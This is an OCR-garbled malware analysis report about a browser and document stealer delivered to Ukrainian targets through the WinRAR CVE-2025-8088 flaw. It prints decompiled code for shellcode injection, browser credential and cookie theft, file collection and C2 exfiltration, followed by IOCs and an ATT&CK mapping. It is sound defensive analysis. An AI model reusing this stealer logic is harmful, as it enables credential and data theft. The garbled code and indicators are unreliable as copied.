13 ve2 = 36283,
14 vel = 728932,
15 ve3 = 819623;
16 for ( 1 =@; 1+« 4; +1 )
17 ve2 = vb3 - ve2 + 1;
158 w62 = (v63 > 3) | (32 * we2);
19 vel = w63 ~ (w62 + vbl);
28 vS0 = 4 * (w62 + w63 - vel);
21 if ( '*(&vE5 + 4} )
22 {
v58 = 354829;
24 V37 = 53542;
25 vie = 18677;
26 ved = 184437564,
27 v35 = 2514;
28 for { J=8; §J < 4; ++7 )
29 vsd = (w56 + (v55 & @xFA)) | (vs4 << B);
38 v55 = v54 ¥ @x3E8 + (w55 ~ @xEF141ED);
31 v32 = w54 + w55 - 15;
32 w49 = 835825;
33 vd7 = 551917914,
34 vadd = 121115582,
35 vadg = -436799112;
36 va5 = B667578;
37 vidd = 773895,
38 va3 = 955532,
39 vadl = 1927574811;
48 vadl = -435233268;
41 vad = -1759777873;
42 vi9 = -1377253448;
43 v3i8 = 686889;
44 v37 = 878372;
45 v3b = 993217;
46 v35 = 285514984;
47 vi4d = -2038596379;
43 vi3 = -1757723247;
49 vi2 = -1588447619;
e veB = 537597120;
&1 vil = 485125935;
52 vil = 485125935;
53 vie = -132471185;
54 v7? = fn_obfuscated decoy_function(al, a2, 3825188265LL, 48@):
55 v29 = v73
56 v28 = Vw73

After some deobfuscated the shellcode become
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1 __inted _ fastcall fn_inject_entry(

2 HANDLE hThread,

3 __inted lpvReserved,

4 int fdwReasonPtr_,

5 __int64 hinstOLL,

[ __inte4 lpvReserved_)

7 i

8 S TCOLLAPSED LOCAL DECLARATIONS. PRESS NUMPAD "+" TO EXPAND]
g9

18 fn_resolve_syscall_table(hThread, lpwvReserved);
11 HtStatus = NtCreateThreadEx(

12 hThread,

13 THREAD ALL_ACCESS,

14 g0bjattribute,

15 BLL,

16 -11L,

17 | fn_core_action)

15 hinstDLL,

19 8,

28 BLL):

71 if ( MtStatus >= @ )

22 £

23 if { Objattribute )

24 f

25 if ( hinstDLL )

26 i

27 Mtstatus = NtWaitForsingleObject(ObjAttribute, @, @LL);
28 if { MtStatus >= 8 )

29 I

38 ExitCode = @;

3 if { GetExitCodeThread_8(ObjAttribute, &ExitCode) )
32 MtStatus = ExitCode;

33 else

34 MtStatus = ERROR_CANNOT GET EXIT CODE;
35 }

35 1

37 %

38 !

39 if ( Objattribute )

48 NtClose(ObJjAttribute);

41 RtlExitUserThread_@(NtStatus);

42 return result;

43 1

This shellcode is based on an gpen source project
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fn_rcd_crypt_words(al, a2, v123, &v121, 4u, v122);

if ( fn_compare_strings wide(%v121, TargetBrowser) )

S T, I TR

Iid.
Iid.
Iid.
Iid.
Iid.
Iid.
Iid.
Iid.Dat
Iid.Dat
Iid.
Iid.
i
hResult = CoInitializeEx_@({@LL, COINIT_APARTMENTTHREADED);
if ( hResult »= @ )

=)

o w0

2
3

@ 0

Result = SysAllocStringBytelen_8(v127, *(TargetBrowser + 138));
v118 = Result;
v115 = &byte_1F8DE;
v114 = L"ySs g\
fn_fill_memory bytes(8, &Buffe
fn_rcd_crypt_words(al, a2, v115, &Buffer, 6u, v114);
v7 = fn_compare_strings_wide(&Buffer, TargetBrowser);
if ( v7 )

i}

4

&

F1nUUrb3eKG";

R I =
=) 2

& B

% github.com/xaitax/Chrome-App-Bound-Encryption-Decryption/blob/63b719f2ab3dbf8573fd9228a 26e9eb1db/src/payload/browse... Ei

/ browser_config.hpp [

Code Blame | ' oc) - ¢ K 8

std: :map<std: : string, BrowserConfig> GetConfigs() {
localApp / "BraveSoftware™ / “"Brave-Browser™ / "User Data™}},
{"edge”, {"Edge”, L"msedge.exe”,

{Bx1FCBE96C, Ox1697, Ox43AF, {0x91, ©x48, Ox28, ©x97, OxC7, ©xC6, 0x97, @x67}},

localApp / "Microsoft™ / “"Edge™ / “User Data"}},
{"avast™, {"Avast”, L"AvastBrows

{@xEAD!

{8x77378Bl

std: :nullopt,

localApp / "AVAST Software™ / “Browser™ [ "User Data"}}

inline BrowserConfig DetectBrowser() {
char path[MAX_PATH];
GetModuleFileNameA{NULL, path, MAX_ PATH);

std::string exe = s - Fi r :path{path).filename().string();

std: :transform{exe._begin(), exe.end(), exe.begin(}, ::tolower};

(exe "chrome.exe™) return GetConfigs().at("chrome”);
(exe "brave.exe™) return GetConfigs().at("brave™);
F (exe "msedge.exe™) return GetConfigs().at("edge™);

F (exe "avastbrowser.exe” 'n GetConfigs().at("avast™});

:runtime_error(“Unknown browser proce
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Since Edge and Opera browsers share Chromium's profile structure and encryption mechanisms, the malware does
not implement a separate stealer. Instead, it performs minimal browser-specific handling before invoking the
common database collection routine. The primary difference lies in how profile directories are identified: Opera

uses a predefined profile directory, whereas Edge uses the profile list extracted from the Local State file, identical

to Google Chrome. Flow:

Determine browser type

Opera Edge/Chrome

| |

v A 4
Use predefined Parse Local State
profile name profiles_order

|

I I

v

Create profile staging directory

|
v
Copy Login Data

|
v

Copy Network\Cookies

|
v
Encrypt copied databases with RC4

|
v

Stage for exfiltration

Unlike Chrome and Edge, Opera stores user data under a single predefined profile directory instead of maintaining
a configurable list of profile names. Consequently, the malware does not rely on the profiles_order array extracted

from the Local State file.

When the browser is identified as Opera, the malware decrypts a hardcoded profile name and immediately invokes

the generic collection routine:
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22

23

24 if ( fn_wcscmp_ret_1(BrowserCtx, OperaString) )

25 {

26 memset (Special Profilefame, @, zireof({SpecialProfilelame});

27 fn_decrypt_rcd_wide_stream{SpecialProfileMame, Sunk_B1686, lu, Zunk_B168A, 33u);
28 fn_try steal login_data_cookie(BrowserCix, SpecialProfileName);

;2 ¥ No profiles enumurate if the browser is Opera
31

32 ProfilelListPtr = &BrowserCtx->Profilelist.Version;

33 if { HIDWORD(BrowserCtx->ProfileList.PofileEntry) )

34 {

35 i=8LL;

36 S5leep = kernel3Z_Sleep;

37 do

38 {

39 Sleep(B67LL);

46 if { #*ProfilelistPtr->PofileEntry[i].Profileiame )

41 fn_try_steal login_data_cookie(BrowserCix, ProfilelistPtr-:PofileEntry[i].ProfileName);
42 ++1;

a3 e

44 while ( i < HIDWORD(BrowserCix-»Profilelist.PofileEntry} );

45 3

45 REMMELSZ_SIeep 1oerr);

a7 fn_write_log(GET_BROWSER_DATA, SUCCESS GET_BROWSER DATA, LOGGING, @LL);

43 return fn_cleaup_buffer_write file(

45 BxFFFFFFFFFFFFFFFFLL ,

50 &BrowserCtx- *Profilelist.Version,

51 38 * HIDWORD(Browser{tx->Profilelist.PofileEntry));

52 ¥

This avoids the need for profile enumeration while allowing Opera to reuse the same database collection logic

implemented for other Chromium-based browsers.

Microsoft Edge follows the standard Chromium profile model. Earlier in the execution chain, the malware extracts
the profiles_order entry from Edge's Local State file and builds an internal list of profile names. The collection

routine simply iterates through this list:

Default
Profile 1
Profile 2

For every profile, the malware constructs two directory paths. The source directory corresponds to the browser

profile:

<Browser User Data>\<ProfileName>

While the destination directory is created inside the malware's working folder:

<Malware Working Folder>\<ProfileName>, which is C:\User\[Username]\bZsaxmZvial@zhH4n\<ProfileName>
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3.3.7.1.4. Collected data

The first artifact collected from each profile is the Chromium Login Data SQLite database.

18 memset(LoginDataPath, @, 8x18u);

19 fn_decrypt_rc4 wide_stream{LoginDataPath, &unk_B1826, @xBu, &unk B183E, Zunk_1E)};

8 fn_build wide_string{SourceFile, @, 1, LoginDataPath);

pa | memset(LoginDatastr_, @, @wl8u);

22 fn_decrypt_rc4_wide_stream{LoginDataStr_, &unk_B187C, @xBu, &unk_Ble94, Zgword_ 28 + &);
3 fn_build wide_string(DstFile, @, 1, LoginData5tr_);

24 fn_copy_encrypt_rcd(BrowserCtx, SourceFile, DstFile);

After staging the login database, the malware attempts to collect the browser's cookie database.

For Chromium-based browsers, cookies are stored under the Network subdirectory. The malware therefore
appends: /Network to both source and destination paths and verifies that the directory exists. If present, it further

appends: /Cookies Resulting in:

<Browser User Data>\<Profile>\Network\Cookies

The cookie database is then copied using the same RC4-encrypted staging routine employed for the login
database. If the Network directory is absent, the malware records the failure but continues processing without

terminating the collection routine.

34 memset(Chrome, @, sizeof(Chrome));

35 fn_decrypt_rcd4 wide_stream{Chrome, akKScosni, 6u, &aKScosni[7], @x29u);

36 if ( !fn_wcscmp_ret_1(BrowserCtx, Chrome) )

37 {

38 memset (NetworkString, 8, 8x12u);

39 fn_decrypt_rcd_wide stream{NetworkString, ZalfggbbgflE8c[3], 8u, Zalfggbbgfl88c[12], &unk_1E);
48 fn_build_wide string(SourceFile, @, 1, MetworkString);

41 memset(Networkstr, 8, @xl2u);

42 fn_decrypt_rcd_wide_stream{NetworkStr, &alkwjmpuog@ovew[27], 8u, aMal, &unk_1F);

43 Tn_bulld_wide_string|DsLFile, &, 1, MELWOrKSLr ),

44 if ( fn_Is_file exist(SourceFile) )

a5 {

46 ProfileExist = fn_ensure_directory_tree_exists(DstFile);

47 if { ProfileExist < @ }

a8 fn_write_log{ERROR_DIRECTORY, ERROR_BROWSER_LOG_FOLDER_DOES_NOT_EXIST, INFO, &ProfileExist);
49 kernel32_Sleep(387LL);

5@ memset (Cookies5String, @, @wlzu);

51 fn_decrypt_rc4 wide stream{Cookies5tring, aVSkocmvhjtldds, Su, &aVSkocmvhitldds[9], &byte 18[8]1);
52 fn_build_wide string(SourceFile, @, 1, CockiesString);

53 memset (CookiesStr, @, @xl2u);

54 fn_decrypt_rc4 wide stream{Cookies5tr, &aVSkocmvhitldds[34], 8u, word B132A, &str2);

55 fn_build_wide string(DstFile, @, 1, CookiesStr);

56 fn_write log{DONE COOKIE DATA, START PAKCING COOKIE DATA, 1, @LL);

57 |-Fn_cop:.r_encr‘ypt_r‘c4(Br‘o‘nser‘Ctx, SourceFile, DstFile);

53 kernel32 Sleep{227LL);

59 ReturnCode = DONE_PACKING_COOKIE_DATA;

Consequently, the malware never stores plaintext browser artifacts in its working directory. This behavior mirrors
the Chrome workflow, where the Local State file, recovered master key ( Key1@0.txt ), Login Data , and

Cookies databases are all protected using the same RC4 key prior to exfiltration.
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Files Collected

Local State , Key1@.txt (DPAPI Master key) ,

Login Data , Network\Cookies

Local State , Keyl1@.txt (DPAPI Master key) ,

Login Data , Network\Cookies

Local State , Keyl1@.txt (DPAPI Master key) ,
Login Data , Network\Cookies

logins.json , key3.db , key4.db , cookies.sqlite

3.3.7.2. Local files stealer

Purpose

Recover AES master key,

passwords, and cookies

Recover AES master key,

passwords, and cookies

Recover AES master key,

passwords, and cookies

Recover saved credentials and

cookies

The local file stealer is implemented as a standalone module whose purpose is to locate user documents on all

accessible drives, copy them into a staging directory while encrypting them, periodically compress the staged

data, and transmit the archive to the C2 server.

Unlike the browser credential stealer, this module focuses on collecting user-created documents rather than

application databases.

fn_local_files_discovery()

|
v

Enumerate drives A:\ - Z:\

|
v

For each existing drive

—— C: drive

—— Desktop
—— Documents

—— Downloads

L—— Other drives

|
v

—— Root directory

fn_recursive_directory_traversal()

|
v

Recursively enumerate directories

|
v
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For every file
|
—— Skip if >20 MB
—— Skip if old
|—— Skip if extension not targeted
v
Encrypt + Copy into staging folder
|
\ 4
Accumulate transferred size
|
v
Every 4 MB
|
v
Zip staging folder
|
v
Upload archive to (2
|
v

Clean staging directory
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__inte4 fn_local files_discovery(}

[

set{Drivestrine, @, =izeof(Drivestrins)l:
Fn_decr‘ypt_rcxl_wide_strean{DriveString, &aTkyvezbrontrvh[7]1, 3u, &aTkyvezbrantrvh[11], @x1%u);//  _:\

FMICRISCLL LT LVENLME, , SLoicuf{LT LUcrvsine )t ,

DriveStringlength = strlen_@(DriveString);

memcpy (Drivelame, DriveString, 2 * DriveStringlength);
|DT‘Z.L‘||'EEI'I1ZF}’ = 'A"; | start from “A* drive

51leepPTR = kernel32_Sleep;

LogFileString = &C_Users_Username_AppData_Local_Temp_log tt;
do

I

DriveName[@] = DriveEntry;
SleepResult = SleepPTR{18BLL);
SleepResultPtr[@] = SleepResult + @x38;

S5leepResultPtr[l] = SleepResult + @x&8; If the drive exist
fn write data to file(logFileString, SleepResultPtr, du, 1};
if { fn_Is_file exist({DriveName) ) // Likely checking for C:\, D:\, E:\ drive |

{
memset(FolderEntry, @, @x288u);
memset (RootFolder, @, @x283u);
SleepPTR(B3LL);
if ( DriveEntry == 'C" ) SF If this is C drive
{
memset(Slash, @, sizeof(Slash));
fn_decrypt_rcd wide stream(5lash, aD2wggkfpyvaxgky, 1o, ZaD2wggkfpyyxgky[2], @xl8u);.// s
fn_build_wide string{FolderEntry, 1, 2, &C_Users_Username, Slash);
memset(File C, @, @x1l4du);
fn_decrypt_rcd4 wide_stream(File C, Sword_B339E, Su, ZadhgdvUchkgaomZn[l], @w27u);/ ./ /Files/C/
fn_build wide string{RootFolder, 1, 2, &C User UserMName_ bZsaxmZvial@zhH4n_Username, File C);
memset (Desktop, @, sizeof(Desktop));
fn_decrypt_rc4 wide stream(Desktop, ZaBlwtzsaQazdvtq[l@], 7u, &aBlwtzsaQazdytq[l8], @x18u);// Desktop
memset(Documents, @, @xldu):
fn_decrypt_rcd wide stream({Documents, aEibgrcuw, Su, Zalmt7flymiwe[1l], @x25u);/ Do
memset (Downloads, @, @xldu);
fn_decrypt_rc4_wide_stream(Downlocads, aRrybc, 9u, aRpysfég5, 8x1Au);// Downlogds
SystemFolderPath.DesktopPath = Desktop;
SystemFolderPath.DocumentsPath = Documents;
SystemFolderPath.DowmloadsPath = Downloads;
for [ 1 =6LL; 1 !=3; ++1 )
" Only check Desktop, Documents and
S5leepPTR{118LL);
FolderPathEmtry = #(&SystemFolderPath.DesktopPath + 1i);
fn_build wide_ string{FolderEntry, @, 1, FolderPathEntry);
fn_build_wide_string{RootFolder, @, 1, FolderPathEntry);
if { fn_Is_file exdist(FolderEntry) )
fn_recursive_directory_traversal(FolderEntry, RootFolder);
else
fn_write log(ERROR_NOT_EXIST, ERROR DOES_NOT EXIST, LOGGING, @LL);
51eepPTR{257LL);
FolderPathEntrylLength = strlen_@(FolderPathEntry);
fn_truncate_wide string buffer({FolderEntry, FolderPathEntrylLength);
FolderPathEmtrylen = strlen_@(FolderPathEntry);
fn_truncate_wide_string_buffer{RooctFolder, FolderPathEntrylen);

Downloads folder if it is C:/ drive

¥

else S If this is

{

fn_build_wide string{FolderEntry, 1, 1, DriveName);

memset (&SystemFolderPath, @, @x18u);

fn_decrypt_rcd wide_stream(&systemFolderPath, aMzdzjlwl, 7u, alwiysoShxFvwi, @xl19u);.// /Filesy
fn_build_wide_ string(RootFolder, 1, 2, &C_User_UserMame_bZsaxmZvial@zhH4n_Username, &5ystemFolderPath);
RootFolder[strlen_@(RootFolder)] = DriveEntry;

fn_recursive_directory_traversal{FolderEntry, RootFolder);

51leepPTR({B2ZLL);

}
} Recursive scan the whole drive if it is not C:/ drive

SleepPTR(22LL);
++DriveEntry;

by

while ( DriveEntry != 91 );
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74 return 3LL;

753
A file is stolen only if all conditions are satisfied.
 File Size <20MB
e Creation time less than executed time 30 days

 File must be newer than the malware's previous execution.

Targeted extensions:
o Documents: txt, doc, docx, docm, pdf, rtf, odt, md, log, eml

o Microsoft Office: xIs, xIsx, xIsm, xIt, xItx, xItm, csv, ppt, pptx, pptm, pps, ppsx, pot, dot, dotx,

dotm
o Archives: zip, rar, 7z, cab, tar, gzip

o Credentials / Security: kdbx (KeePass), ovpn (OpenVPN), conf, jks (Java KeyStore)

o Images: png, bmp, jpeg, jpg
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1 vold _ fastcall fn_recursive_directory_traversal(wchar_t *TargetFileName, QWORD InitialPath)
2 {

3 [ ML TO B

4

5 FileContext.InitialPath = InitialPath;

[ TargetFile = TargetFileName;

7 kernel32 Sleep{12LL);

3 ResultCode = fn_open_file_and_initialize context(&FileContext, TargetFile);

E if ( ResultCode < @ )

18 {

11 fn_write_log(ERROR_RECURSIVE_FILE_SCAMN, ERROR_CAMNOT_OBTAIN_CONTEXT, LOGGING, &ResultCode);
12 3

13 else

14 {

15 while ( fn_guery folder_info({&FileContext) )

16 £

17 AllocatedAddress = FileContext.AllocatedAddress;

18 TargetPath = fn_copy_buffer_wide(

19 FileContext.AllocatedAddress->Filehame,

28 FileContext.AllocatedAddress-»FileNamelength);

21 memset(dot, @, sizeof(dot));

22 fn_decrypt_rc4_wide_stream{dot, aliD221bidpcéye, lu, &aliD221bidpceye[2], @x2Du);//

23 memset(x2dot, @, sizeof(x2dot));

24 fn_decrypt_rc4_wide_stream{x2dot, a2dtcgmlkkwk7tz, 2u, &a2dtcpmlkkwk7tz[3], @x29u);// ..
25 if ( !'fn_wcscmp_ret_1(TargetPath, dot) &% !fm_wcscmp_ret_i1(TargetPath, x2dot) ),/ if current path iz mot . and ..
26 i

27 kernel32_Sleep(4@LL);

28 memset(v1@, 8, sizeof(vl@));

29 fn_decrypt_rcd_wide_stream(vl®, &byte_B3284, lu, &aTtr2uhztxujswr[l], ex2lu);// /

3@ InitPath = FileContext.InitialPath;

31 fn_build wide_string(SourcePath, 1, 3, TargetFile, v1@, TargetPath)};

32 memset(Slash, @, sizeof(Slash));

33 fn_decrypt_rcd_wide_stream(5lash, &byte_B3202, lu, &byte B32D6, @x2lu);./.

34 fn_build wide string(BuildedTargetPath, 1, 3, InitPath, Slash, TargetPath};

35 if { AllocatedAddress-:FileAttributes == FILE_ATTRIBUTE_DIRECTORY )./ If the path Folder
36 1

37 fn_recursive_directory_traversal(SourcePath, BuildedTargetPath);

38 } Recursive traversal
39 else

48 {

41 if { AllocatedAddress->EndOfFile.QuadPart <= 28971519 )/ Stolen File size must be <= 28MB
42 {

43 QuadPart = AllocatedAddress- »LastWriteTime.QuadPart;

44 if ( QuadPart + 25920000000008LL »= *&gCurrentSystemTime &8 pPreviousExecutionTime < QuadPart )
45 {

46

47

438

49

58

51 A .pps, .ppsx, .pot, .conf, .jks, .Z52, .pr

52 if ( fn_is_target_extension(TargetPath) )

53 fn_encrypt_send_file C2(

54 SourcePath,

55 BuildedTargetPath,

56 AllocatedAddress- »End0fFile . DUMMYSTRUCTMAME .. LowPart);

57

58 )

59 kernel32_Sleep(16LL);

58 }

61 }

62 fn_strlen wide(TargetPath);

53 o

64 fn_cleanup_buffer_struct{&FileContext);

65 3

85 1

3.3.7.3. Compression of stolen data

Exfiltration using ZIP archive containing the files previously collected by the stealer. The malware initializes a

ZIP writer, recursively traverses the target directory, adds every discovered file into the archive while preserving
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the original directory hierarchy, finalizes the ZIP central directory, and prepares the archive for transmission to the

command-and-control (C2) server.

The implementation closely resembles the ZIP writer API provided by the open-source miniz library.

Verify staging directory
|
v
Create ZIP output file
|
v
Initialize ZIP writer
|
v
Recursively enumerate files
|
\ 4
For every file
Preserve relative path
Compress
Add to ZIP
|
v
Finalize ZIP archive
|
v

Prepare archive for (2 transfer
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__inte4 fn_zip_user_data_folder()

™m
LA
LA
m

return 8;
ZipFileMame = fn_convert utf8 to wide(&C User_UserName_ tKyvEZBrnNtrVha_zip);

1

2

3

4

5 ~ if ( !fn_init_path_context_and wverify(&C User_UserMame_bZsaxmZvial@zhH4n) )
[

7

8 if ( !ZipFileName )

g .

il ‘n.
18 Result = B8;
11 ErrorCode = ERROR_GENERATING ZIP NAME;
12 - LB_ERROR_WRITE_LOG:
13 fn_write log{ERROR_ZIPPING_DATA, ErrcorCode, LOGGING, ©LL);
14 return Result;
15 3
15 memset(&ZipCompressionStrc, 8, sizeof(ZipCompressionStrc));
17 ErrorCode = fn_init_compression_stream{ZZipCompressionStrc, ZipFileMName, @LL);
138 ZipFilelen = fn_strlen_byte(ZipFileNams);
19 fn_cleaup_buffer_write_file(@xFFFFFFFFFFFFFFFFLL, &ZipFileName, ZipFilelen);
28 if { !ErrorCode )
21 | {
22 Result = B8;
23 ErrorCode = ERROR_COMPRESSION_STREAM;
24 goto LB_ERROR_WRITE_LOG;
25 ¥
26 memset ( EmptyBuffer, @, @wd@du);
27 fn_zip file(&ZipCompressionStrc, &C_User UserMame bZsaxmivial@zhHdn, EmptyBuffer);
28 if { !fn_send_transfer_header(&ZipCompression5trc) )
29 | {
38 Result = 8;
Exl ErrorCode = ERROR_ZIP FILE;
32 goto LB_ERROR_WRITE LOG;
33 3
34 if ( fn_cleanup_compression_struct(&ZipCompressionstrc) )
35 | {
36 return 1;
37 3
33 else
39 v | {
46 Result = @;
a1 fn_write log{FRROR_ZIPPING DATA, UMABLE COMPRESS COMPRESSION STRUCT, LOGGING, @LL);
42 3
43 return Result;
4
4.10C

Below are the summarized Indicators of Compromise (IOCs) identified throughout the infection and execution

lifecycle.

4.1. Exploited Vulnerability

CVE Identifier Vulnerability Type Target Software

CVE-2025-8088 NTFS Stream Directory Traversal WinRAR

4.2. Phishing and Initial Access Indicators
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Indicator Type
] Email
holosivsk-rtck@ukr[.Inet
Address
-— Email
chernigivdonor@ukr[.Inet
Address
Plaintext
25062026
String
BinomocTi 3 peecTpy BilicbkoBO3060B ' AZAaHUX MPO )
Filename

npauiBHukiB 20260625-3994491-2.pdf

4.3. Host and File Indicators

Indicator / Path

BinomocTi 3 peecTpy BilicbkoBO306OB' A3aHUX MPO NpauiBHUKIB
20260625-3994491-

2 o i _.._ProgramData_I54d

BinomocTi 3 peecTpy BiliCbkOBO3060B'A3aHMX MPO MpPauiBHUKIB
20260625-3994491-

2.pdfie. e e _.._ProgramData_X3Hk

BinomocTi 3 peecTpy BiliCbKOBO3060B'A3aHMX MPO MpPauiBHUKIB
20260625-3994491-
2.pdf:.._.._.._.._.._Roaming_Microsoft_Windows_Start
Menu_Programs_Startup_dXd9PBI7I7RL9. lnk

C:\ProgramData\I54d

C:\ProgramData\X3Hk
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Description / Role

Attacker phishing sender
impersonating District TCC

Victim recipient address

Decryption password for the

protected malicious RAR archive

Decoy PDF document name used

inside the archive

Type Description

Stream containing the

NTFS encrypted loader
ADS payload staged to
Path traverse and drop in

C:\ProgramData\I54d

Stream containing the

NTFS loader PowerShell script
ADS staged to traverse and
Path drop in

C:\ProgramData\X3Hk

Stream containing the

NTFES persistence shortcut

ADS staged to traverse and

Path drop in the Startup
directory

Staged encrypted loader
Dropped payload (decrypted in

File memory to run
shellcode)
Staged obfuscated
Dropped

PowerShell execution
File
script
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Indicator / Path Type Description

) ) ) Shortcut file used to
C:\Users\[Username]\AppData\Roaming\Microsoft\Windows\Start Dropped
execute X3Hk on user

Menu\Programs\Startup\dXd9PBI7I7RL9.lnk File . .
login for persistence
) Root directory for
. Directory . .
C:\User\[Username]\bZsaxmZvial@zhH4n Path staging exfiltrated
at

browser and system data

. Directory  Directory for staging
C:\User\[Username]\bZsaxmZvial@zhH4n\\[Username]

Path logs and error files
C:\User\[Username]\bZsaxmZvial@zhH4n\\ Dropped Error log file tracking
[Username]\jMT7f1YMTwe File loader issues

. Dropped ZIP archive containing
C:\User\[Username]\tKyvEZBrnNtrVhA.zip

File the exfiltrated user data

Batch script compiled
. Dropped  for self-removal
C:\Users\[Username]\AppData\Local\Temp\B1WTZSa_qgAz4yTQGVgbi ) o
File (process termination and

artifact deletion)

Dropped Log file recording
C:\Users\[Username]\AppData\Local\Temp\logs.txt
File stealer actions
RC4-encrypted DPAPI

Master Key stored

Dropped
Key10.txt Fil temporarily in browser
ile
staging directory before
exfiltration
4.4. Network Indicators
Indicator Type Description
IPv4 Attacker Command and Control (C2)
136[.10[.]1141[.1237
Address Server Host

Port used for HTTPS C2

communication

8942 TCP Port

Primary HTTPS C2 endpoint for

https[:1//136[.10[.1141[.1237:8942/G8mGR7vXmD/ URL
exfiltrating ZIP archives
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https[:1//136[.]0[.1141[.]1237:8942/seq0hyMc/

http[:1//10.11[.11[. 1

5. MITRE ATT&CK Technique Mapping

Type Description

Fallback HTTPS C2 endpoint used for
URL

error telemetry transmission

Host used to verify outbound internet
URL

connectivity

Below is the mapping of tactics and techniques observed in the malware's lifecycle.

Tactic

Initial Access

Execution

Persistence

Defense

Evasion

Technique
ID

T1566.001

T1203

T1059.001

T1106

T1547.001

T1564.004

T1027

T1027.007

T1055

T1562.001

Technique Name

Spearphishing
Attachment

Exploitation for

Client Execution

PowerShell

Native API

Registry Run Keys /
Startup Folder

NTES File
Attributes

Obfuscated Files or

Information

Dynamic API

Resolution

Process Injection

Disable or Modify

Tools

Details / Context in Malware

Password-protected archive delivered via email

body containing decryption key.

Abuse of WinRAR CVE-2025-8088 path traversal

during archive extraction.

Obfuscated PowerShell loader script ( X3Hk ) to

decrypt and execute shellcode.

Resolves and invokes native NT APIs directly
( NtAllocateVirtualMemory , NtCreateThreadEx ,

etc.).

Creation of dXd9PBI7I7RL9.1lnk in the user's
Startup folder.

Abusing NTFS Alternate Data Streams (ADS) for

path traversal and file smuggling.

Heavily obfuscated PowerShell loader, string
encryption via RC4, and control-flow obfuscation

in shellcode.

Use of FNV-1a API hashing to resolve exports

dynamically and hide dependencies.

Self-injection via NtCreateThreadEx and remote
shellcode injection into suspended browser

processes.

Parsing in-memory ntdll.dll to retrieve syscall

numbers directly (Hell's Gate style), bypassing
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. Technique

Tactic

ID

T1070.004
Credential

T1555.003
Access

T1539
Discovery T1083

T1082

T1016
Collection T1005

T1560.001
Command &

T1071.001
Control

T1573.001
Exfiltration T1041

REF:

Technique Name

File Deletion

Credentials from

Web Browsers

Steal Web Session
Cookie

File and Directory

Discovery
System Information
Discovery

System Network
Configuration

Discovery

Data from Local

System

Archive via Utility

Web Protocols

Symmetric

Cryptography

Exfiltration Over C2
Channel

Details / Context in Malware

EDR user-mode hooks.

Execution of a batch script
( BIWTZSa_gAz4yTQGVg6i ) to delete files/logs and

self-remove.

Harvesting of credentials, cookies, and profiles

from Chrome, Edge, Opera, and Firefox.

Extraction and RC4-encryption of session

databases ( Cookies , cookies.sqlite ).

Enumeration of directories (Desktop, Documents,
Downloads) and searching for files with targeted

extensions.

Drives traversal (A:\ to Z:) and checking for

system path structures.

Checking for internet connectivity using HTTP

requeststo 1.1.1.1 .

Staging and copying of user files matching targeted

document and credential extensions.

Compression of collected credentials and files into

a ZIP archive prior to exfiltration.

C2 communication via HTTPS POST requests to
dynamic endpoints ( /G8mGR7vXmD/ ,
/seqOhyMc/ ).

RC4 encryption applied to the payload data and

exfiltration network packets.

Transmission of the compressed ZIP archive

containing stolen data back to the C2 server.

https://tech-zealots.com/malware-analysis/understanding-concepts-of-va-rva-and-offset/

https://github.com/amOnsec/HellsGate/
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https://github.com/xaitax/Chrome-App-Bound-Encryption-Decryption

https://github.com/Maktm/FLIRTDB

https://www.trendmicro.com/en\ us/research/26/f/old-winrar-flaw-fuels-attacks-on-ukraine.html

https://nvd.nist.gov/vuln/detail/CVE-2025-8088

Source: https://bluecyber.hashnode.dev/beyond-the-archive-cve-2025-8088-stealer-targeting-ukraine
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